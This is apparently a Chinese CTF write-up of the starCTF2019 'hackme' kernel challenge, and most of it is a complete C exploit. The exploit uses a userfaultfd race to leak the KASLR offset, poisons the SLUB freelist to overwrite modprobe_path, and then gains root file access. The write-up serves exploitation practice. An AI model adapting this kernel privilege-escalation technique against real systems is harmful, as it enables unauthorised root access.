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【userfaultfd 条件竞争】starCTF2019 - hackme

news 2026/1/13 14:13:49

前言

呜呜呜，这题不难，但是差不多一个多月没碰我的女朋友 kernel pwn 了，对我的 root 宝宝也是非常想念，可惜这题没有找到我的 root 宝宝，就偷了她的 flag。

哎有点生疏了，这题没看出来堆溢出，直接条件竞争打了，但感觉条件竞争打简单一些。

题目分析

内核版本 4.20.13
开了 smap/smep/kaslr
给了 config 配置文件，查看得到如下信息：

# CONFIG_SLAB is not set
# CONFIG_SLAB_MERGE_DEFAULT is not set
# CONFIG_SLAB_FREELIST_RANDOM is not set
# CONFIG_SLAB_FREELIST_HARDENED is not set
# CONFIG_STATIC_USERMODEHELPER is not set

所以这里的 slub obj 的 freelist 在头8字节，调试也是如此
然后题目实现了一个菜单堆，有增删改查的功能，漏洞主要全程没用上锁，但是我做完后去网上搜了一下，发现这题还有堆溢出，这里堆溢出就不说了，笔者是利用条件竞争做的：
在这里插入图片描述
网上说这里 offset 可以为负数，导致向上溢出:) 这里我看比较是 unsigned 的就没想着溢出，而且条件竞争也很明显

漏洞利用

整体比较简单，就不多说了，主要就记录一下关键点，其实这里利用方式还挺多的，毕竟堆块大小没有限制

初始想法 seq_operations + pt_regs 进行提权【X 没有合适的 gadget】

这里讲下为啥失败，因为这里的 gadget 大多都是这样的：）这里找了好久的 gadget，没一个行的
在这里插入图片描述
可以看到这里的 pop r10; lea rsp, [r10-8] 导致了我们无法成功劫持 rsp, 除非泄漏内核栈地址，但是如果都可以泄漏内核栈地址了，就不用这样搞了

修改 freelist 劫持 modprobe_path

劫持 freelist 的时候，这里不要直接修改 freelist 为 modprobe_path，因为系统可能会分配堆块，这时候就会报错，为啥呢？话不多说，放图：
在这里插入图片描述
这里的 /sbin/xxx 肯定是个无效的地址啊，但是这里发现 modprobe_path 前面就是一片0区域，所以让 freelist 指向0区域即可
exp 如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>int fd;
int seq_fd;
uint64_t koffset;
uint64_t swapgs_kpti   = 0xffffffff8120092e;
uint64_t magic_gadget  = 0xffffffff811dad61; // add rsp, 0x38 ; ret
uint64_t pop_rdi       = 0xffffffff81033de0; // : pop rdi ; ret;
uint64_t init_cred     = 0xffffffff8183f380; // D init_cred
uint64_t commit_creds  = 0xffffffff8104d220; // T commit_creds;
uint64_t modprobe_path = 0xffffffff8183f960;struct request {long long idx;char* buf;long long len;long long off;
};void add(long long idx, char* buf, long long len)
{struct request req = { .idx = idx, .buf = buf, .len = len };ioctl(fd, 0x30000, &req);
}void dele(long long idx)
{struct request req = { .idx = idx };ioctl(fd, 0x30001, &req);
}void kwrite(long long idx, char* buf, long long off, long len)
{struct request req = { .idx = idx, .buf = buf, .off = off, .len = len };ioctl(fd, 0x30002, &req);
}void kread(long long idx, char* buf, long long off, long len)
{struct request req = { .idx = idx, .buf = buf, .off = off, .len = len };ioctl(fd, 0x30003, &req);
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");sleep(5);exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");/* to exit the process normally, instead of segmentation fault */exit(EXIT_SUCCESS);
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}char copy_src[0x1000];
void* handler(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler");dele(0);open("/proc/self/stat", O_RDONLY);uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}void* handler0(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler");uint64_t* ptr = copy_src;ptr[0] = modprobe_path-0x10;dele(0);uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}void get_flag(){system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /home/pwn/x"); // modeprobe_path 修改为了 /tmp/xsystem("chmod +x /home/pwn/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy"); // 非法格式的二进制文件system("chmod +x /home/pwn/dummy");system("/home/pwn/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/xsleep(0.3);system("cat /flag");exit(0);
}int main(int argc, char** argv, char** envp)
{fd = open("/dev/hackme", O_RDONLY);char buf[0x300] = { 0 };add(0, buf, 0x20);void* uffd_buf;pthread_t moniter_thr;uffd_buf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);register_userfaultfd(&moniter_thr, uffd_buf, 0x1000, handler);kread(0, uffd_buf, 0, 0x20);binary_dump("seq_operations data", uffd_buf, 0x20);koffset = *(uint64_t*)(uffd_buf + 8) - 0xffffffff810d30e0;modprobe_path += koffset;hexx("koffset", koffset);hexx("modprobe_path", modprobe_path);add(0, buf, 0x80);void* uffd_buf0;pthread_t moniter_thr0;uffd_buf0 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);register_userfaultfd(&moniter_thr0, uffd_buf0, 0x1000, handler0);kwrite(0, uffd_buf0, 0, 0x8);
/*__asm__("mov r15,   0xdeadbeef;""mov r14,   0x11111111;""mov r13,   0x22222222;""mov r12,   0x33333333;""mov rbp,   0x44444444;""mov rbx,   0x55555555;""mov r11,   0x66666666;""mov r10,   0x77777777;""mov r9,    0x88888888;""mov r8,    0x99999999;""xor rax,   rax;""mov rcx,   0xaaaaaaaa;""mov rdx,   8;""mov rsi,   rsp;""mov rdi,   seq_fd;""syscall");
*/puts("[+] hajick modprobe_path");add(1, buf, 0x80);char* cmd = "/home/pwn/x";strncpy(buf+0x10, cmd, strlen(cmd));add(2, buf, 0x80);get_flag();puts("[+] EXP NEVER END");return 0;
}

效果如下：
在这里插入图片描述

总结

好久没碰 kernel pwn，写 exp 很不熟练了，期末后再练练，复现一些 cve

【userfaultfd 条件竞争】starCTF2019 - hackme

前言

题目分析

漏洞利用

初始想法 seq_operations + pt_regs 进行提权【X 没有合适的 gadget】

修改 freelist 劫持 modprobe_path

总结

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